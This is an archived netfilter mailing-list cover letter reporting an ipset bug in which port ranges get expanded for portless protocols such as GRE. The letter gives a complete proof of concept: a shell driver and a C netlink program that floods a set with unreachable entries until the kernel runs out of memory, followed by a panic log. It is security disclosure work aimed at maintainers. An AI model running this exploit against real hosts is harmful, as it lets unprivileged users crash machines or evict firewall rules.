Linux Netfilter development
 help / color / mirror / Atom feed
From: Zhiling Zou <zhilinz@nebusec.ai>
To: netfilter-devel@vger.kernel.org
Cc: pablo@netfilter.org, fw@strlen.de, phil@nwl.cc,
	kadlec@netfilter.org, zhilinz@nebusec.ai,
	oliver@8.c.9.b.0.7.4.0.1.0.0.2.ip6.arpa, vega@nebusec.ai
Subject: [PATCH nf 0/1] ipset: ignore port ranges for portless protocols
Date: Thu, 22 Oct 2026 03:09:41 +0800	[thread overview]
Message-ID: <cover.1792609477.git.zhilinz@nebusec.ai> (raw)

Hi Linux kernel maintainers,

We found and validated an issue in
net/netfilter/ipset/ip_set_hash_netportnet.c. The bug is reachable by a
non-root user via user and network namespaces.

This bug is tracked at: https://bugtracker.nebusec.ai/f/12359

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

hash_netportnet4_uadt() canonicalizes the port to zero for protocols
without ports and clears with_ports. However, when an IP range is
present, the range path still reads IPSET_ATTR_PORT_TO and iterates the
specified port range. For a portless protocol such as GRE, a single
range request can therefore install nonzero-port keys that packet-side
matching never creates. These unreachable entries consume maxelem; with
forceadd, they can also evict effective entries and leave the set's
policy incomplete.

The IPv4 range path should only expand the port dimension when
with_ports is set. Address ranges still expand with the canonical zero
port. The IPv6 handler already avoids port-range expansion when the
protocol does not support ports.

Reproducer:

    ./poc.sh prove
    ./poc.sh stress 100

For the namespace proof, run as test_user:

    PATH=/usr/sbin:/usr/bin:/sbin:/bin \
    unshare -Urn sh -c '
      /usr/sbin/ipset create u hash:net,port,net family inet maxelem 4
      /home/test_user/poc prove u
      /usr/sbin/ipset list u -o save
    '

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The stress mode is run as root because it sets vm.panic_on_oom=2.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    SETNAME=${SETNAME:-h6m}
    MODE=${1:-prove}

    cd "$DIR"
    make

    case "$MODE" in
    prove)
    	ipset destroy "$SETNAME" 2>/dev/null || true
    	ipset create "$SETNAME" hash:net,port,net family inet maxelem 4
    	./poc prove "$SETNAME"
    	ipset list "$SETNAME" -o save
    	;;
    stress)
    	ipset destroy "$SETNAME" 2>/dev/null || true
    	sysctl -w vm.panic_on_oom=2
    	ipset create "$SETNAME" hash:net,port,net family inet maxelem 20000000 comment counters skbinfo
    	./poc stress "$SETNAME" "${2:-4096}"
    	;;
    *)
    	echo "usage: $0 [prove|stress [loops]]" >&2
    	exit 2
    	;;
    esac

------END poc.sh------

------BEGIN poc.c------

    #define _GNU_SOURCE

    #include <arpa/inet.h>
    #include <errno.h>
    #include <linux/netfilter/nfnetlink.h>
    #include <linux/netlink.h>
    #include <netinet/in.h>
    #include <stdint.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <unistd.h>

    #ifndef NETLINK_NETFILTER
    #define NETLINK_NETFILTER 12
    #endif

    #ifndef NFNL_SUBSYS_IPSET
    #define NFNL_SUBSYS_IPSET 6
    #endif

    #define IPSET_PROTOCOL 7
    #define IPSET_CMD_ADD 9

    #define IPSET_ATTR_PROTOCOL 1
    #define IPSET_ATTR_SETNAME 2
    #define IPSET_ATTR_DATA 7

    #define IPSET_ATTR_IP 1
    #define IPSET_ATTR_IP_TO 2
    #define IPSET_ATTR_PORT 4
    #define IPSET_ATTR_PORT_TO 5
    #define IPSET_ATTR_PROTO 7
    #define IPSET_ATTR_IP2 20
    #define IPSET_ATTR_COMMENT 26

    #define IPSET_ATTR_IPADDR_IPV4 1

    #define MAX_MSG 4096
    #define GRE_PROTO 47
    #define PROVE_PORT_END 3
    #define STRESS_PORT_END 16383

    struct request {
    	struct nlmsghdr nlh;
    	struct nfgenmsg nfg;
    	char buf[MAX_MSG];
    };

    static void die(const char *msg)
    {
    	perror(msg);
    	exit(1);
    }

    static void diex(const char *msg)
    {
    	fprintf(stderr, "%s\n", msg);
    	exit(1);
    }

    static size_t attr_total(size_t payload_len)
    {
    	return NLA_ALIGN(NLA_HDRLEN + payload_len);
    }

    static struct nlattr *nla_put_raw(struct nlmsghdr *nlh, size_t maxlen,
    				  uint16_t type, const void *data,
    				  size_t payload_len)
    {
    	size_t off = NLMSG_ALIGN(nlh->nlmsg_len);
    	size_t total = attr_total(payload_len);
    	struct nlattr *nla;

    	if (off + total > maxlen)
    		diex("netlink message too large");

    	nla = (struct nlattr *)((char *)nlh + off);
    	nla->nla_type = type;
    	nla->nla_len = NLA_HDRLEN + payload_len;
    	if (payload_len && data)
    		memcpy((char *)nla + NLA_HDRLEN, data, payload_len);
    	if (total > nla->nla_len)
    		memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);

    	nlh->nlmsg_len = off + total;
    	return nla;
    }

    static struct nlattr *nla_nest_start(struct nlmsghdr *nlh, size_t maxlen,
    				     uint16_t type)
    {
    	return nla_put_raw(nlh, maxlen, type | NLA_F_NESTED, NULL, 0);
    }

    static void nla_nest_end(struct nlmsghdr *nlh, struct nlattr *start)
    {
    	start->nla_len = (char *)nlh + nlh->nlmsg_len - (char *)start;
    }

    static void nla_put_u8(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
    		       uint8_t value)
    {
    	nla_put_raw(nlh, maxlen, type, &value, sizeof(value));
    }

    static void nla_put_be16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
    			 uint16_t value)
    {
    	uint16_t be = htons(value);

    	nla_put_raw(nlh, maxlen, type | NLA_F_NET_BYTEORDER, &be, sizeof(be));
    }

    static void nla_put_string(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
    			   const char *value)
    {
    	nla_put_raw(nlh, maxlen, type, value, strlen(value) + 1);
    }

    static void nla_put_ipv4(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
    			 uint32_t be_addr)
    {
    	struct nlattr *nest = nla_nest_start(nlh, maxlen, type);

    	nla_put_raw(nlh, maxlen,
    		    IPSET_ATTR_IPADDR_IPV4 | NLA_F_NET_BYTEORDER,
    		    &be_addr, sizeof(be_addr));
    	nla_nest_end(nlh, nest);
    }

    static int recv_ack(int fd, uint32_t seq)
    {
    	char buf[8192];
    	struct iovec iov = {
    		.iov_base = buf,
    		.iov_len = sizeof(buf),
    	};
    	struct sockaddr_nl addr;
    	struct msghdr msg = {
    		.msg_name = &addr,
    		.msg_namelen = sizeof(addr),
    		.msg_iov = &iov,
    		.msg_iovlen = 1,
    	};
    	struct nlmsghdr *nlh;

    	for (;;) {
    		ssize_t len = recvmsg(fd, &msg, 0);

    		if (len < 0) {
    			if (errno == EINTR)
    				continue;
    			die("recvmsg");
    		}

    		for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, (unsigned int)len);
    		     nlh = NLMSG_NEXT(nlh, len)) {
    			struct nlmsgerr *err;

    			if (nlh->nlmsg_seq != seq)
    				continue;
    			if (nlh->nlmsg_type == NLMSG_ERROR) {
    				err = (struct nlmsgerr *)NLMSG_DATA(nlh);
    				return err->error;
    			}
    		}
    	}
    }

    static int send_bad_add(int fd, uint32_t seq, const char *setname,
    			uint32_t ip, uint32_t ip2, uint16_t port_end,
    			const char *comment)
    {
    	struct request req;
    	struct sockaddr_nl addr = {
    		.nl_family = AF_NETLINK,
    	};
    	struct iovec iov = {
    		.iov_base = &req,
    		.iov_len = 0,
    	};
    	struct msghdr msg = {
    		.msg_name = &addr,
    		.msg_namelen = sizeof(addr),
    		.msg_iov = &iov,
    		.msg_iovlen = 1,
    	};
    	struct nlattr *data;

    	memset(&req, 0, sizeof(req));
    	req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.nfg));
    	req.nlh.nlmsg_type = (NFNL_SUBSYS_IPSET << 8) | IPSET_CMD_ADD;
    	req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
    	req.nlh.nlmsg_seq = seq;
    	req.nfg.nfgen_family = AF_INET;
    	req.nfg.version = NFNETLINK_V0;
    	req.nfg.res_id = htons(0);

    	nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTOCOL, IPSET_PROTOCOL);
    	nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_SETNAME, setname);

    	data = nla_nest_start(&req.nlh, sizeof(req), IPSET_ATTR_DATA);
    	nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP, ip);
    	nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP_TO, ip);
    	nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT, 0);
    	nla_put_be16(&req.nlh, sizeof(req), IPSET_ATTR_PORT_TO, port_end);
    	nla_put_u8(&req.nlh, sizeof(req), IPSET_ATTR_PROTO, GRE_PROTO);
    	nla_put_ipv4(&req.nlh, sizeof(req), IPSET_ATTR_IP2, ip2);
    	if (comment)
    		nla_put_string(&req.nlh, sizeof(req), IPSET_ATTR_COMMENT,
    			       comment);
    	nla_nest_end(&req.nlh, data);

    	iov.iov_len = req.nlh.nlmsg_len;
    	if (sendmsg(fd, &msg, 0) < 0)
    		die("sendmsg");

    	return recv_ack(fd, seq);
    }

    static uint32_t nth_ipv4(uint32_t base_host, unsigned int index)
    {
    	return htonl(base_host + index);
    }

    static void usage(const char *prog)
    {
    	fprintf(stderr,
    		"Usage:\n"
    		"  %s prove <setname>\n"
    		"  %s stress <setname> [loops]\n",
    		prog, prog);
    	exit(2);
    }

    int main(int argc, char **argv)
    {
    	static char comment[255];
    	const char *mode;
    	const char *setname;
    	unsigned int loops = 0;
    	unsigned int i;
    	uint32_t seq = 1;
    	int fd, ret;
    	struct sockaddr_nl local = {
    		.nl_family = AF_NETLINK,
    	};

    	if (argc < 3)
    		usage(argv[0]);

    	mode = argv[1];
    	setname = argv[2];

    	memset(comment, 'A', sizeof(comment) - 1);
    	comment[sizeof(comment) - 1] = '\0';

    	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
    	if (fd < 0)
    		die("socket");
    	if (bind(fd, (struct sockaddr *)&local, sizeof(local)) < 0)
    		die("bind");

    	if (strcmp(mode, "prove") == 0) {
    		ret = send_bad_add(fd, seq++, setname,
    				   inet_addr("192.0.2.1"),
    				   inet_addr("198.51.100.1"),
    				   PROVE_PORT_END, NULL);
    		printf("prove returned %d\n", ret);
    		close(fd);
    		return ret == 0 ? 0 : 1;
    	}

    	if (strcmp(mode, "stress") != 0)
    		usage(argv[0]);

    	loops = argc >= 4 ? (unsigned int)strtoul(argv[3], NULL, 0) : 0;
    	if (loops == 0)
    		loops = 4096;

    	for (i = 0; i < loops; i++) {
    		uint32_t ip = nth_ipv4(0xc6120001U, i);
    		uint32_t ip2 = nth_ipv4(0xc6330001U, i);

    		ret = send_bad_add(fd, seq++, setname, ip, ip2, STRESS_PORT_END,
    				   comment);
    		if (ret != 0) {
    			fprintf(stderr,
    				"stress stopped at loop=%u expected_entries=%u ret=%d\n",
    				i, i * (STRESS_PORT_END + 1), ret);
    			close(fd);
    			return 1;
    		}
    		if ((i % 10) == 0) {
    			printf("loop=%u expected_entries=%u\n",
    			       i + 1, (i + 1) * (STRESS_PORT_END + 1));
    			fflush(stdout);
    		}
    	}

    	close(fd);
    	return 0;
    }

------END poc.c------

------BEGIN Makefile------

    CC ?= gcc
    CFLAGS ?= -O2 -Wall -Wextra

    all: poc

    poc: poc.c
    	$(CC) $(CFLAGS) -o $@ $<

    clean:
    	rm -f poc

------END Makefile------

----BEGIN crash log----

[ 1228.171565][T11210] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[ 1228.172471][T11210] CPU: 3 UID: 0 PID: 11210 Comm: poc Not tainted 6.12.95 #2
[ 1228.173111][T11210] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1228.174082][T11210] Call Trace:
[ 1228.174314][T11210]  <TASK>
[ 1228.174562][T11210]  panic+0x533/0x610
[ 1228.174894][T11210]  ? dump_header+0x5d2/0x800
[ 1228.175285][T11210]  ? __pfx_panic+0x10/0x10
[ 1228.175652][T11210]  out_of_memory+0x73c/0x1430
[ 1228.176048][T11210]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.176498][T11210]  ? __pfx_out_of_memory+0x10/0x10
[ 1228.176922][T11210]  ? lock_acquire+0x2f/0xb0
[ 1228.177297][T11210]  ? __alloc_pages_noprof+0xd53/0x26d0
[ 1228.177761][T11210]  __alloc_pages_noprof+0x1ecc/0x26d0
[ 1228.178220][T11210]  ? hlock_class+0x4e/0x130
[ 1228.178603][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.179072][T11210]  ? __lock_acquire+0xc96/0x3c40
[ 1228.179477][T11210]  ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1228.180016][T11210]  ? __pfx___lock_acquire+0x10/0x10
[ 1228.180480][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.180887][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.181283][T11210]  ? find_held_lock+0x2d/0x110
[ 1228.181656][T11210]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[ 1228.182050][T11210]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1228.182493][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.182904][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.183290][T11210]  ? xas_load+0x1e2/0x410
[ 1228.183606][T11210]  ? filemap_get_entry+0xbd/0x2c0
[ 1228.183987][T11210]  folio_alloc_noprof+0x16/0x90
[ 1228.184343][T11210]  filemap_alloc_folio_noprof+0x279/0x320
[ 1228.184766][T11210]  ? __pfx_filemap_alloc_folio_noprof+0x10/0x10
[ 1228.185204][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.185609][T11210]  __filemap_get_folio+0x35b/0x7a0
[ 1228.185995][T11210]  filemap_fault+0x10db/0x1fe0
[ 1228.186341][T11210]  ? srso_alias_return_thunk+0x5/0xfbef5
[ 1228.186740][T11210]  ? __pfx_filemap_fault+0x10/0x10
[ 1228.187112][T11210]  ? __pfx_lock_release+0x10/0x10
[ 1228.187489][T11210]  __do_fault+0xed/0x3a0
[ 1228.187806][T11210]  do_pte_missing+0x10c9/0x3710
[ 1228.188159][T11210]  ? pte_offset_map_nolock+0x7a/0x170
[ 1228.188571][T11210]  __handle_mm_fault+0xac8/0x1db0
[ 1228.188940][T11210]  ? __pfx_lock_release+0x10/0x10
[ 1228.189307][T11210]  ? down_read_trylock+0x1f0/0x3f0
[ 1228.189675][T11210]  ? lock_vma_under_rcu+0x121/0x720
[ 1228.190044][T11210]  ? __pfx___handle_mm_fault+0x10/0x10
[ 1228.190484][T11210]  handle_mm_fault+0x2ad/0x910
[ 1228.190872][T11210]  do_user_addr_fault+0x301/0xe10
[ 1228.191252][T11210]  exc_page_fault+0x5d/0xe0
[ 1228.191577][T11210]  asm_exc_page_fault+0x26/0x30
[ 1228.191930][T11210] RIP: 0033:0x7f53a5e77120
[ 1228.192245][T11210] Code: 49 01 d0 49 89 d1 48 8b 43 68 89 f5 48 8d 4c 6d 00 48 8b 78 08 48 8b 83 f8 00 00 00 48 8b 40 08 4c 01 cf 4c 8d 24 c8 4d 01 cc <49> 8b 74 24 08 4d 8b 2c 24 48 89 f0 49 01 d5 48 c1 e8 20 48 8d 0c
[ 1228.193557][T11210] RSP: 002b:00007fff1e324a40 EFLAGS: 00010206
[ 1228.193978][T11210] RAX: 00005560447dd8e0 RBX: 00007f53a5e9d5f0 RCX: 000000000000001b
[ 1228.194497][T11210] RDX: 00005560447dd000 RSI: 0000000000000009 RDI: 00005560447dd638
[ 1228.195026][T11210] RBP: 0000000000000009 R08: 00005560447dd3e0 R09: 0000000000000000
[ 1228.195551][T11210] R10: 0000000000000000 R11: 0000000000000202 R12: 00005560447dd9b8
[ 1228.196078][T11210] R13: 00005560447e10e0 R14: 000000000000004b R15: 0000000000000001
[ 1228.196656][T11210]  </TASK>
[ 1228.197246][T11210] Kernel Offset: disabled
[ 1228.197645][T11210] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  ipset: ignore port ranges for portless protocols

 net/netfilter/ipset/ip_set_hash_netportnet.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)


             reply	other threads:[~2026-10-21 19:09 UTC|newest]

Thread overview: 3+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2026-10-21 19:09 Zhiling Zou [this message]
2026-10-21 19:09 ` [PATCH nf 1/1] ipset: ignore port ranges for portless protocols Zhiling Zou
2026-10-22 19:31   ` Jozsef Kadlecsik

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=cover.1792609477.git.zhilinz@nebusec.ai \
    --to=zhilinz@nebusec.ai \
    --cc=fw@strlen.de \
    --cc=kadlec@netfilter.org \
    --cc=netfilter-devel@vger.kernel.org \
    --cc=oliver@8.c.9.b.0.7.4.0.1.0.0.2.ip6.arpa \
    --cc=pablo@netfilter.org \
    --cc=phil@nwl.cc \
    --cc=vega@nebusec.ai \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox